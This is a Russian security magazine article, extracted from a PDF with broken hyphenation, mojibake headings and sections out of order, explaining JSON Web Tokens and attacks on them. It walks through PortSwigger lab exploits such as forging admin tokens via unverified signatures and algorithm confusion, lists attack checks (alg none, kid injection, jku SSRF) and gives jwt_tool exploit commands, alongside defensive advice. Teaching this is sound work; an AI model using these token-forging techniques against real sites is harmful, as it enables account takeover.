подоб рать нес коль ко воз можных вари антов НОД, и он сге нери ровал нам
готовые токены, под писан ные пуб личны ми клю чами, которые он так же сге- 
нери ровал.

Из вле чение пуб лично го клю ча на осно ве под писан ных токенов JWT

Са ми клю чи сге нери рова лись в фор матах X.509 и PKCS1 и были заэн кожены
в Base64. Как мы пом ним, на сер вере они хра нят ся в X.509, поэто му мы
будем исполь зовать имен но этот фор мат.

Но сна чала нам нуж но опре делить, какой из двух сге нери рован ных клю чей
соот ветс тву ет сер верно му. Копиру ем под писан ные токены Tampered JWT
и про буем по одно му в Repeater.

Ес ли в отве те не было редирек та на стра ницу логина, зна чит, пуб личный
ключ успешно подоб ран.

Стра ница дол жна откры вать ся от име ни поль зовате ля wiener

Пе рехо дим в JWT Editor, генери руем новый сим метрич ный ключ и заменя ем 

тем, которым был под писан подошед ший JWT-токен.

k

Про цесс соз дания нового сим метрич ного клю ча

Ме няем пей лоад на адми на, вновь под писыва ем собс твен ным сим метрич- 
ным клю чом. Не забыва ем обно вить алго ритм — с асим метрич ного на сим- 
метрич ный HS256.

Под писание токена JWT с помощью пуб лично го клю ча

От прав ляем зап рос, получа ем дос туп к админке.

Ссыл ка на панель адми нис тра тора в лич ном кабине те

Уда ляем Кар лоса.

Уве дом ление об успешном про хож дении лабора тории

Ла бора тория успешно прой дена! Пос ледняя!

Продолжение статьи →

https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion
https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key
https://crypto.stackexchange.com/a/30301/7826
https://crypto.stackexchange.com/a/33644/7826
https://en.wikipedia.org/wiki/Euclidean_algorithm
https://github.com/silentsignal/rsa_sign2n


JWT-ТОКЕНЫ ОТ И ДО
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TOKENS И АТАКАМИ НА НИХ
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ÄÐÓÃÈÅ ÈÍÒÅÐÅÑÍÛÅ ÂÅÊÒÎÐÛ

Сле дующие парамет ры тоже могут пред став лять инте рес:
 (Content Type) — иног да исполь зует ся для объ явле ния меди ати па

содер жимого в пей лоаде токена JWT. Обыч но он не ука зыва ется
в заголов ке, но биб лиоте ка син такси чес кого ана лиза, которая исполь зует- 
ся для пар синга токенов в при ложе нии, может под держи вать его в любом
слу чае. Если ты нашел спо соб обой ти про вер ку под писи, можешь поп- 
робовать внед рить заголо вок , что бы изме нить тип содер жимого
на  или .
Это потен циаль но может открыть новые век торы для атак XXE и десери- 
али зации.

• cty

cty

text/xml application/x-java-serialized-object

 (X.509 Certicate Chain) — иног да исполь зует ся для переда чи сер- 
тифика та откры того клю ча X.509 или цепоч ки сер тифика тов клю ча, исполь- 
зуемых для циф ровой под писи JWT. Этот параметр заголов ка может быть
исполь зован для инъ екции самопод писан ных сер тифика тов, ана логич но
ата кам инъ екции заголов ка , рас смот ренным выше. Из-за слож ности
фор мата X.509 и его рас ширений пар синг этих сер тифика тов тоже может
при вес ти к уяз вимос тям. Под робнос ти таких атак выходят за рам ки это го
матери ала, но ты можешь озна комить ся с ними, заг лянув в 
и .

• x5c

jwk

CVE-2017-2800
CVE-2018-2633

×ÅÊ-ËÈÑÒ ÏÐÎÂÅÐÎÊ

На осно ве все го перечис ленно го я сос тавил чек-лист про верок. Исполь зуй
его при поис ке мис конфи гура ций, свя зан ных с JWT-токена ми.
1. Пер вый взгляд:

най ти токены JWT;•
по искать под ходящую для тес тов стра ницу.•

2. Прос тые про вер ки:
обя зате лен ли токен JWT;•
вы дает ли сайт сер висные ошиб ки из-за неп равиль ных токенов;•
ис поль зует ся ли для HMAC сла бый сек рет;•
про веря ется ли срок дей ствия токена.•

3. Ба зовые экс пло иты:
ал горитм  (CVE-2015-9235);• none

ата ки с путани цей клю чей (CVE-2016-5431);•
JWKS-инъ екция (CVE-2018-0114);•
под пись нулевым бай том (CVE-2020-28042).•

4. До пол нитель ные про вер ки:
path traversal через kid;•
SQL injection через kid;•
ата ки URL tampering (SSRF через параметр );• jku

JWKS-спу финг.•
5. Рас ширен ные про вер ки:

меж сервис ные релей-ата ки.•

ÀÂÒÎÌÀÒÈÇÀÖÈß

Стра ница jwt_tool на GitHub

На руч ную про вер ку всех проб лем, свя зан ных с JWT-токена ми, может уйти
мно го вре мени. Боль шинс тво атак, которые мы рас смот рели, нес ложно авто- 
мати зиро вать и быс тро про верить с помощью готово го тул кита. Имен но
такой тул кит раз работал Энди Тай лер:  — это набор инс тру мен тов
для валида ции, ска ниро вания и под делыва ния JWT (JSON Web Tokens).

jwt_tool.py

Кло ниру ем репози торий и ста вим зависи мос ти:

git clone https://github.com/ticarpi/jwt_tool 
 pip  python3 -m install -r requirements.txt 

За пус каем jwt_tool в режиме Playbook с базовы ми про вер ками (не забудь
сме нить  на тот сайт, где ты тес тиру ешь токены):ticarpi.com

 

  pb 

python3 jwt_tool.py -t https://www.ticarpi.com/ -rc
"jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.
bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M
-np

Ес ли уяз вимос ти най дены, ты можешь поп робовать про экс плу ати ровать их:

 

  i 
 

python3 jwt_tool.py -t https://www.ticarpi.com/ -rc
"jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.
bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X
-I -pc name -pv admin 

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Раз работ чик может защитить свои сай ты от мно гих из рас смот ренных атак.
Для это го понадо бят ся сле дующие меры:

Ис поль зуй толь ко популяр ные и час то обновля емые биб лиоте ки
для работы с JWT и убе дись, что пол ностью понима ешь прин цип ее
работы, а так же все пос ледс твия для безопас ности. Мно гие сов ремен ные
биб лиоте ки пыта ются взять на себя защиту от слу чай ных небезо пас ных
пос ледс твий. Но их авто рам при ходит ся учи тывать гиб кие спе цифи кации,
а это негатив но ска зыва ется на безопас ности.

•

Убе дись, что при сутс тву ет надеж ная про вер ка под писи для всех получа- 
емых JWT и что ты учи тыва ешь такие нес тандар тные слу чаи, как JWT, под- 
писан ные с исполь зовани ем неожи дан ных алго рит мов.

•

Обес печь стро гий белый спи сок раз решен ных хос тов для заголов ка .• jku

Убе дись, что твоя прог рамма неуяз вима к path traversal или SQL-инъ екци- 
ям через параметр заголов ка .

•
kid

Так же советую соб людать луч шие прак тики:
Ус танав ливай дату исте чения сро ка дей ствия для любых выпус каемых
токенов.

•

По воз можнос ти избе гай отправ ки токенов в парамет рах URL, что бы они
не логиро вались.

•

До бавь в тело  (audience), что бы ука зать пред полага емо го получа теля
токена. Это пре дот вра тит исполь зование токена на дру гих сай тах.

• aud

Раз реши сер веру, выдав шему токен, отзы вать его (нап ример, при выходе
из сис темы).

•

ÂÛÂÎÄÛ

Кру то, если ты про читал всю статью и дошел досюда! Теперь ты зна ешь
обо всех ошиб ках, которые мож но допус тить при работе с JWT-токена ми, —
а опас ных мест дей стви тель но мно го. Кро ме того, мы научи лись находить
такие ошиб ки, и ты уже можешь исполь зовать это на прак тике. Более того,
эти зна ния помогут тебе сдать некото рые сер тифика ции, осо бен но свя зан- 
ные с вебом, — нап ример, тот же Burp Suite Certied Practitioner.

https://talosintelligence.com/vulnerability_reports/TALOS-2017-0293
https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633
https://github.com/ticarpi/jwt_tool
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ВЗЛОМ

В этой статье мы мак сималь но глу боко изу- 
чим тех нологию JSON Web Tokens (JWT):
где она исполь зует ся, в чем ее плю сы
и минусы и какие опас ности она может
таить для все го веб-при ложе ния, если
прог раммист видит ее впер вые. Мы так же
рас смот рим типич ные уяз вимос ти JWT,
научим ся их экс плу ати ровать и исправ лять.

ÀÓÒÅÍÒÈÔÈÊÀÖÈß È ÀÂÒÎÐÈÇÀÖÈß

Преж де чем мы перей дем непос редс твен но к JWT, давай пов торим осно вы
и вспом ним глав ные тер мины, которые нераз рывно свя заны с сов ремен ным
вебом и информа цион ной безопас ностью, а имен но — аутен тифика ция
и авто риза ция. Эти зна ния нам необ ходимы, что бы понимать весь даль- 
нейший матери ал.

Пред ста вим, что мы хотим вой ти в свой акка унт Facebook. Веб-при ложе- 
нию нуж но понять, что мы вла деем этим акка унтом. Для это го оно про сит нас
пре дос тавить кор рек тные учет ные дан ные. Обыч но это логин и пароль,
которые мы вво дим на стра нице вхо да.

При ложе ние про веря ет пре дос тавлен ные дан ные, и, если они вер ны, мы
вхо дим в собс твен ный акка унт. Этот про цесс называ ется аутен тифика цией.

INFO

Аутен тифика ция — про вер ка под линнос ти предъ- 
явленно го поль зовате лем иден тифика тора, в про- 
цес се которой поль зователь доказы вает, что он
дей стви тель но тот, за кого себя выда ет. Срав- 
нение пароля, вве ден ного поль зовате лем,
с паролем, который сох ранен в базе дан ных сер- 
вера, — один из при меров аутен тифика ции.

Вы соко уров невая схе ма аутен тифика ции

Пос ле успешной аутен тифика ции мы заходим на стра ницу со сво им про- 
филем. Веб-при ложе ние понима ет, что поль зователь — тот, за кого себя
выда ет, то есть мы успешно аутен тифици рова ны.

Те перь мы можем отре дак тировать собс твен ный про филь, изме нить имя
и фамилию или поменять воз раст. Мы не можем редак тировать чужой про- 
филь, поэто му преж де, чем раз решить редак тирова ние, при ложе нию нуж но
убе дить ся, что зап рос при шел от вла дель ца про филя. Про цесс про вер ки
прав на осу щест вле ние дей ствий называ ется авто риза цией.

INFO

Ав ториза ция — это про цесс про вер ки, под- 
твержде ния или пре дос тавле ния раз решений,
прав дос тупа и при виле гий на выпол нение опре- 
делен ных дей ствий. При мер авто риза ции: поль- 
зователь хочет про читать документ на сай те, при- 
ложе ние про веря ет, име ет ли он пра во читать
его.

Вы соко уров невая схе ма авто риза ции

Аутен тифика ция про ходит один раз, ког да ты вво дишь логин и пароль. Авто- 
риза ция про исхо дит при каж дом зап росе пос ле аутен тифика ции, поэто му
если допус тить ошиб ку в этой сис теме, то зло умыш ленни ки смо гут выпол нять
дей ствия от име ни дру гих поль зовате лей. Нап ример, сде лать покуп ку от их
име ни или узнать кон фиден циаль ную информа цию. Важ но знать безопас ные
и про верен ные спо собы как аутен тифика ции, так и авто риза ции.

ÊÓÊÈ È ÒÎÊÅÍÛ

Сес сион ные cookie и токены — два важ ных и вза имо заме няемых механиз ма
безопас ности в сов ремен ном вебе, которые исполь зуют ся в про цес сах
аутен тифика ции и авто риза ции.

Пос ле того как поль зователь аутен тифици ровал ся, они слу жат фак тором,
на осно ве которо го сер вер понима ет, что зап рос отпра вил опре делен ный
поль зователь. Без необ ходимос ти пов торно вво дить логин и пароль.

Êóêè

Вза имо дей ствие бра узе ра и сер вера с куками

HTTP Cookie — это неболь шие записи, которы ми обме нива ются кли ент (твой
бра узер) и сер вер. Вся кий раз при обра щении к соот ветс тву юще му сай ту эти
дан ные пересы лают ся сер веру в сос таве HTTP-зап роса.

Ку ки при дума ны дав но, в начале девянос тых годов. В июне 1994 года Лу
Мон тулли, сот рудни ку Netscape Communications, приш ла идея исполь зовать
их при веб-соеди нении.

Ку ки исполь зуют ся в веб-при ложе ниях:
для управле ния сеан сами поль зовате ля и про вер ки его прав;•
для отсле жива ния активнос ти и пер сонали зации кон тента (спе циаль ные
«рек ламные» куки).

•

Про цесс исполь зования кук выг лядит сле дующим обра зом:
1. Бра узер отправ ляет при ложе нию зап рос с логином и паролем.
2. При ложе ние про веря ет логин и пароль поль зовате ля. Если они сов пада ют

с теми, что хра нят ся в базе (вмес то паролей срав нива ются их хеши), то
при ложе ние фор миру ет сес сию, генери рует сес сион ную куку и отправ ляет
ее бра узе ру поль зовате ля.

3. Бра узер сох раня ет куку и отправ ляет ее вмес те с каж дым зап росом в при- 
ложе ние.

4. При ложе ние получа ет куку, рас шифро выва ет ее и, если она валид ная,
выпол няет дей ствие от име ни авто ризо ван ного поль зовате ля.

В ито ге нам не нуж но вво дить пароль каж дый раз. Бла года ря кукам сер вер
понима ет, что мы уже прош ли этот про цесс.

INFO

Сер вер не дол жен хра нить куки поль зовате лей
ни в базе дан ных, ни в фай ловой сис теме. Они
дол жны исполь зовать ся толь ко в ран тай ме, что бы
ими не мог ли вос поль зовать ся зло умыш ленни ки,
которые получат дос туп к сер веру.

Для прис воения куки поль зовате лю сер вер отправ ляет такой заголо вок:

Set-Cookie: <имя cookie>=<значение cookie> 

Бра узер в свою оче редь — такой:

Cookie: <имя cookie>=<значение cookie> 

Каж дый из этих заголов ков под держи вает мно жес тво атри бутов, которые поз- 
воля ют сни зить рис ки при воз никно вении уяз вимос тей на сто роне при ложе- 
ния.

Òîêåíû
В сов ремен ном вебе исполь зуют ся не толь ко куки, но и токены. Это аль тер- 
натив ный и более сов ремен ный механизм, который име ет свои плю сы
и минусы по срав нению с при выч ными «печень ками».

Нап ример, ког да ты хочешь аутен тифици ровать ся на сай те через дру гой
сайт, на котором ты уже аутен тифици рован (нап ример, вой ти в Facebook
через Gmail), исполь зуют ся OAuth-токены для меж сервер ной аутен тифика ции
меж ду при ложе нием и про вай дером дан ных.

OAuth — не единс твен ные токены, сущес тву ет мно го дру гих фор матов:
 — набор пар имя — зна чение в фор мате кодиро- 

вания HTML Form, опи сыва ет стан дар тные клю чи , ,
 и ;

• Simple Web Token

Issuer Audience

ExpiresOn HMACSHA256

 — опре деля ет токены

в XML-фор мате, вклю чающем информа цию об эми тен те и субъ екте, а так- 
же усло вия для валида ции токена. Под пись осу щест вля ется при помощи
асим метрич ной крип тогра фии. Содер жат механизм для под твержде ния
вла дения токеном;

• Security Assertion Markup Language (SAML)

, JWT — тре тий вид токенов, который мы сей час под- 
робно рас смот рим.

• JSON Web Token

Продолжение статьи →



JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

×ÒÎ ÒÀÊÎÅ JWT

Три осно вопо лага ющие час ти JWT

Аб бре виату ра JWT рас шифро выва ется как JSON Web Token. Стан дарт RFC
7519 опи сыва ет отправ ку крип тогра фичес ки под писан ных JSON дан ных (зна- 
чений key-value) меж ду сис темами. Теоре тичес ки стан дарт RFC 7519 допус- 
кает отправ ку любых дан ных, но в сов ремен ном вебе чаще исполь зует ся, что- 
бы переда вать информа цию о поль зовате лях для аутен тифика ции, обра бот ки
сеан сов и кон тро ля дос тупа.

INFO

JWT (JSON Web Token) — это спе циаль ный фор- 
мат токена, который поз воля ет безопас но
переда вать дан ные меж ду кли ентом и сер вером.
В качес тве кли ента может выс тупать бра узер
поль зовате ля или мобиль ное при ложе ние, сер- 
вера — вир туаль ная машина или выделен ный
компь ютер с запущен ным веб-при ложе нием.

JWT-токены были при дума ны гораз до поз же, чем куки. В 2011 году была
сфор мирова на груп па JOSE (JSON Object Signing and Encryption group), приз- 
ванная стан дарти зиро вать механизм защиты целос тнос ти, шиф рования,
а так же фор мат клю чей и алго рит мов иден тифика ции для обес печения сов- 
мести мос ти служб безопас ности, исполь зующих фор мат JSON. К 2013 году
в откры том дос тупе появи лись неофи циаль ные наб роски и при меры исполь- 
зования идей этой груп пы. Офи циаль но был стан дарти зиро ван груп пой IETF
в мае 2015 года.

То кены, как и сес сион ные куки, соз дают ся сер вером либо в начале вза- 
имо дей ствия поль зовате ля с сай том или при ложе нием, либо пос ле аутен- 
тифика ции поль зовате ля в при ложе нии. Затем они отправ ляют ся поль зовате- 
лю как часть отве та сер вера — либо в HTTP-заголов ке , либо

в заголов ке . От того, где будет записан токен, зависит, как стро ится

даль нейшая модель безопас ности.

Set-Cookie
Bearer

Вза имо дей ствие бра узе ра и сер вера с JWT

Аутен тифика ция и авто риза ция с исполь зовани ем JWT-токена устро ена сле- 
дующим обра зом:
1. Бра узер отправ ляет зап рос при ложе нию с логином и паролем.
2. При ложе ние про веря ет логин и пароль и, если они вер ны, генери рует

JWT-токен, который затем отправ ляет бра узе ру. При генера ции JWT-
токена веб-при ложе ние ста вит под пись сек ретным клю чом, который хра- 
нит ся толь ко в при ложе нии. Может исполь зовать ся как сим метрич ное
шиф рование, так и асим метрич ное.

3. Бра узер сох раня ет JWT-токен и отправ ляет его вмес те с каж дым зап- 
росом в при ложе ние.

4. При ложе ние про веря ет JWT-токен и, если он валид ный (то есть он пра- 
виль но сфор мирован и дан ные не были изме нены), выпол няет дей ствие
от име ни авто ризо ван ного поль зовате ля.

Все дан ные, которые нуж ны сер веру, хра нят ся на сто роне кли ента в самом
JWT. Это дела ет JWT популяр ным выбором для высоко рас пре делен ных
веб-сай тов, где поль зовате лям необ ходимо бес пре пятс твен но вза имо дей- 
ство вать с нес коль кими внут ренни ми сер верами.

Бе зопас ность ком муника ции меж ду веб-бра узе ром и веб-при ложе нием
стро ится на том, что токены генери руют ся и под писыва ются толь ко со сто- 
роны веб-при ложе ния. Зло умыш ленник в теории не смо жет под делать токен,
так как не зна ет сек ретный ключ, который исполь зует ся для под писи токена.

При под писи токена исполь зует ся шиф рование. С помощью под писи
веб-при ложе ние про веря ет, что токен дей стви тель но был сге нери рован им.
Алго рит мы шиф рования могут быть раз ными, нап ример HS256 — HMAC
с SHA-256.

ÔÎÐÌÀÒ JWT

JWT-токен сос тоит из трех час тей, которые раз делены точ кой:
 (заголо вок) — информа ция о токене, тип токена и алго ритм шиф- 

рования;

• Header

 (полез ные дан ные) — дан ные, которые мы хотим передать

в токене. Нап ример, имя поль зовате ля, его роль, исте кает ли токен. Эти
дан ные пред став лены в виде JSON-объ екта;

• Payload

 (под пись) — под пись токена, которая поз воля ет про верить, что

токен не был изме нен.

• Signature

Фор мат токена:

header.payload.signature 

Каж дая из этих час тей обыч но кодиру ется в Base64 для переда чи без пов- 
режде ний по сети. Помимо это го, исполь зует ся облегчен ный вари ант URL-
кодиро вания. Свой ствен ный Base64 знак равенс тва усе кает ся. Плюс заменя- 
ется минусом, а слеш ( ) — под черки вани ем, что бы не воз никло кол лизий./

При мер токена:

eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvc
yBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haW
wiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.
SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-
Hw6GG1zfl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-
fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_
AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5ehoxqm8DL5tFYaW3lB50ELx
i0KsuTKEbD0t5BCl0aCR2MBJWAbN-
xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1
Oe2Spac-
6IfA 

Header
За голо вок обыч но сос тоит из JSON-объ екта с дву мя свой ства ми:

тип токена, в нашем слу чае — JWT;•
ал горитм шиф рования, в нашем слу чае — HMAC SHA-256.•

Да лее этот JSON-объ ект хеширу ется с помощью Base64URL-кодиро вания,
что бы пред ста вить его в виде ком пак тной стро ки.

Та ким обра зом, в нашем при мере заголо вок JWT-токена име ет сле- 
дующее зна чение:

{
   "kid": "9136ddb3-cb0a-4a19-a07e-eadf5a44c8b5",
   "alg": "RS256"
}

Так же напом ню, что это не шиф рование, поэто му его мож но рас кодиро вать
из кон соли Linux:

 $ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
: , :{"typ" "JWT" "alg" "HS256"}

Или из кон соли JavaScript в бра узе ре:

 atob>> ("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
typ JWT alg HS256"{" ":" "," ":" "}"

Ва риант рас шифров ки через PowerShell:

PS C:  \> [System.Text.Encoding]::UTF8.GetString([System.Convert]::
FromBase64String("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"))

: , :{"typ" "JWT" "alg" "HS256"}

Мож но даже из CMD, но чуть слож нее:

C:
  

\>echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 > file.txt && certutil 
-decode -f file.txt outfile.txt && type outfile.txt 

 40 Input Length =
 27 Output Length =

 CertUtil: -decode command completed successfully. 
: , :{"typ" "JWT" "alg" "HS256"}

Payload
Вто рая часть токена — это полез ная наг рузка в виде JSON-объ екта. Она
содер жит дан ные об авто ризо ван ном поль зовате ле. Зна чение этой час ти
JWT-токена раз ное в раз ных веб-при ложе ниях. Мы можем записать здесь
любые пуб личные дан ные, которые могут быть полез ны при авто риза ции.

Как и заголо вок JWT-токена, полез ная наг рузка хеширу ется с помощью
Base64URL-кодиро вания для пред став ления в виде ком пак тной стро ки.

В нашем при мере полез ная наг рузка JWT-токена име ет сле дующее зна- 
чение:

{
 "iss": "portswigger",
 "exp": 1648037164,
 "name": "Carlos Montoya",
 "sub": "carlos",
 "role": "blog_author",
 "email": "carlos@carlos-montoya.net",
 "iat": 1516239022

}

Наз вания некото рых полей могут показать ся непонят ными с пер вого взгля да.
Здесь говорит ся о том, кто выписал токен ( ), на кого он выписан (

и ) и каков его срок жиз ни ( ), по про шес твии которо го сер вер дол жен
счи тать его невалид ным. Эти дан ные может изме нить любой человек, затем
закоди ровать в Base64 и вста вить на мес то изна чаль ных. Поэто му вся
безопас ность зависит нап рямую от крип тогра фичес кой под писи.

iss sub
name exp

WWW

При сос тавле нии полей полез ной наг рузки раз- 
работ чики ста рают ся учи тывать име на
из докумен тации 

, что бы избе жать кон флик тов имен
с общепри няты ми нор мами.

IANA (Internet Assigned Numbers
Authority)

Ос новная при чина, почему наз вания полей в полез ной наг рузке JWT-токена
пишут ся сок ращен но, — это умень шение раз мера токена пос ле шиф рования.

Signature
Что бы соз дать под пись, мы дол жны взять закоди рован ный в Base64 заголо- 
вок, закоди рован ную в Base64 полез ную наг рузку, сек ретную стро ку и зашиф- 
ровать эти дан ные. При этом нуж но исполь зовать тот же алго ритм шиф- 
рования, который ука зан в заголов ке JWT-токена.

Вот при мер для HS256:

HMACSHA256(
 +  +  base64UrlEncode(header) "."
,  base64UrlEncode(payload)

 your-256-bit-secret 
)

Про цесс соз дания Signature пред полага ет наличие сек ретно го клю ча под- 
писи. Под пись поз воля ет сер верам убе дить ся в том, что дан ные, содер жащи- 
еся в токене, не были под деланы кем-то дру гим с момен та его выпус ка.

WWW

 — онлайн-дебаг гер, который авто мати зиру- 
ет декоди рова ние, про вер ку и генера цию JWT-
токенов. Его мож но исполь зовать для собс твен- 
ных экспе римен тов.

jwt.io

Пос коль ку под пись нап рямую зависит от осталь ной час ти токена, изме нение
одно го бай та заголов ка или полез ной наг рузки при водит к тому, что она
перес тает быть валид ной. Не зная сек ретно го клю ча, невоз можно сге нери- 
ровать пра виль ную под пись для токена.

JWT VS JWS VS JWE

Ис ходная спе цифи кация JWT очень огра ничен на. Она опре деля ет толь ко
фор мат пред став ления информа ции в виде объ екта JSON, который может
быть передан меж ду дву мя сто рона ми. На прак тике JWT поч ти не исполь зует- 
ся как отдель ная сущ ность.

Спе цифи кация JWT была рас ширена спе цифи каци ями JSON Web
Signature (JWS) — RFC 7515 и JSON Web Encryption (JWE) — RFC 7516,
которые опре деля ют кон крет ные спо собы реали зации JWT.

Дру гими сло вами, ког да мы говорим про JWT-токены в кон тек сте веба, мы
на самом деле име ем в виду либо JWS-токены, либо токены JWE. Токены JWE
и JWS очень похожи, пер вые зашиф рованы, а вто рые закоди рова ны.

Продолжение статьи →

https://www.iana.org/assignments/jwt/jwt.xhtml
http://jwt.io/
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ÀÒÀÊÈ ÍÀ JWT-ÒÎÊÅÍÛ

Çà÷åì àòàêîâàòü
Ата ки на JWT-токены под разуме вают отправ ку зло умыш ленни ком изме нен ных
токенов на сер вер для дос тижения сво ей цели. Как пра вило, эта цель зак- 
люча ется в том, что бы обой ти аутен тифика цию и кон троль дос тупа, выдавая
себя за дру гого поль зовате ля, который уже про шел аутен тифика цию.

Ïîñëåäñòâèÿ àòàê
Пос ледс твия JWT-атак обыч но серь езны. Если зло умыш ленни ку уда ется соз- 
дать собс твен ные дей стви тель ные токены с про изволь ными зна чени ями, он
может повысить свои при виле гии или выдать себя за дру гого поль зовате ля,
получив пол ный кон троль над его учет ной записью.

Ïî÷åìó òîêåíû óÿçâèìû
Уяз вимос ти, поз воля ющие под делывать JWT-токены, обыч но воз ника ют из-за
несовер шенной обра бот ки этих самых токенов в самом при ложе нии. Раз ные
спе цифи кации, свя зан ные с JWT-токена ми, отно ситель но гиб ки по сво ей
конс трук ции и поз воля ют раз работ чикам сай тов самос тоятель но опре делять
мно гие детали реали зации. В резуль тате раз работ чики могут допус тить уяз- 
вимость даже при исполь зовании биб лиотек с уси лен ной защитой.

Не дос татки реали зации, как пра вило, под разуме вают, что под пись
у токенов не про веря ется дол жным обра зом. Это поз воля ет зло умыш ленни- 
кам под делывать под писан ные дан ные.

Да же если под пись про вере на надеж но, мож но ли ей доверять, в зна- 
читель ной сте пени зависит от того, дей стви тель но ли никому не известен
сек ретный ключ сер вера. Если этот ключ каким-то обра зом уте кает либо его
мож но уга дать или переб рать, зло умыш ленник может сге нери ровать дей- 
стви тель ную под пись для любого про изволь ного токена, что пос тавит
под угро зу все при ложе ние.

BURP SUITE È JWT

Сей час мы перей дем к рас смот рению боль шинс тва уяз вимос тей, которые
могут воз никнуть при работе с JWT-токена ми. Мы будем про верять их
на прак тике, поэто му советую зарегис три ровать ся на сай те PortSwigger
и решать лабора тории вмес те со мной.

INFO

PortSwigger WebSecurity Academy — бес плат ная
ака демия раз работ чиков Burp Suite (популяр ного
инс тру мен та, исполь зуемо го пен тесте рами)
для обу чения безопас ности.

Кро ме того, качай Burp Suite и ставь пла гин JWT Editor, который поможет нам
под писывать JWT-токены и реали зовать некото рые ата ки при про хож дении.

Продолжение статьи →
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ÍÅÏÐÀÂÈËÜÍÀß ÏÐÎÂÅÐÊÀ ÏÎÄÏÈÑÅÉ

Вмес то одной фун кции выз вать дру гую — вот пер вая ошиб ка, которую мож но
допус тить при про вер ке под писи. Зву чит нелепо, но ее дей стви тель но лег ко
совер шить — осо бен но если ты толь ко что поз накомил ся с токена ми
и работа ешь с ними впер вые.

Вот при мер из JavaScript. Для работы с JWT-токена ми в Node.js сущес тву- 
ет биб лиоте ка . Прог раммист может выз вать:jsonwebtoken

ме тод , который про веря ет под пись у токенов и воз вра щает
, если под пись валид на, и , если нет;

• verifiy()

True False

ме тод  из этой же биб лиоте ки, который декоди рует токен
и всег да воз вра щает .

• decode()

True

Их лег ко спу тать и передать токен в метод  вмес то пра виль ного

. В таком слу чае при ложе ние вооб ще не будет про верять под пись

и будет счи тать ее валид ной. При этом раз работ чик заметит такую недора- 
бот ку не сра зу, осо бен но если на сер вере не ведут ся логи.

decode()
verify()

Ëàáà: JWT authentication bypass via unverified signature
• Ла бора тор ная работа на сай те PortSwigger

Эта лабора тория поз волит нам про экс плу ати ровать такую уяз вимость
на прак тике. Как ска зано в задании к ней, нам нуж но изме нить сеан совый
токен и получить дос туп к панели адми нис тра тора по адре су . Из-за

недос татков реали зации сер вер не про веря ет под пись получа емых JWT. Мы
в роли зло умыш ленни ка дол жны взло мать при ложе ние.

/admin

От кро ем лабора торию. Перед нами — блог с лич ным кабине том.

Глав ная стра ница бло га

Нам нуж но аутен тифици ровать ся, что бы получить токен. Перей дем в My
account.

Стра ница вхо да

Тес товые дан ные были ука заны в опи сании к заданию:
ло гин — ;• wiener

па роль — .• peter

Вве дем их, наж мем Log in и взгля нем на зап рос в Burp Suite.

Пе рех вачен ный зап рос на вход

В теле зап роса отпра вились сле дующие дан ные:
 — токен CSRF, нас он

не инте ресу ет;
• csrf=VpPh0Tg2R6YvJjg4Vshrpeot5G76WUji

 — поль зователь;• username=wiener

 — пароль.• password=peter

В отве те при шел JWT-токен. Это говорит о том, что мы успешно вош ли
на сайт.

eyJraWQiOiJhYzhjMWM5Yy0yMWU5LTRkODYtODlkYi02M2M2NWJiYTUxNTciLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDcyODY2Nywic3ViIjoid2llbmVyI
n0.
BMsKR6H2eFhSahX97sPW9WoXpSd5FZRDNC12am1_K8vBwEuc_PdpnOjJIHtYY1q-
dOi93c5A90xhUaUWi8z3QwgU6zTsVPbgJK6q7_6EU8KsSSNF_
saayykHxNsN4YwZlwl3qwaB3TjyriEPtFKHB-
fFS04cJQURLSAGCx39Y5FXzK4BUa3cLdN5-
TV3GwDYGCd29oTAXqfGmvkuJ8DxRrjrWLlEYa1_
IzzLY7XTMJAdfIeiR7zTwlkixndRUGO1-hZEHq5Cjojg-
3MJ0RuieH42qJQKqgFVzSWslEM-3jtTV3rCHVK_nwM0llPOaOe0VUgYoMt-yq57rx8_
Ucx7Fg 

В таком виде про читать его мы не можем. Перей дем на вклад ку JSON Web
Token. Она появи лась бла года ря рас ширению JWT Editor, которое мы уста- 
нови ли ранее.

Рас ширение JSON Web Token уме ет пар сить JWT-токены

На этой вклад ке мож но уви деть исходный токен JWT, а так же декоди рован ный
из Base64 Header и Payload, который рас полага ется под ним. Еще ниже —
под пись.

За голо вок:
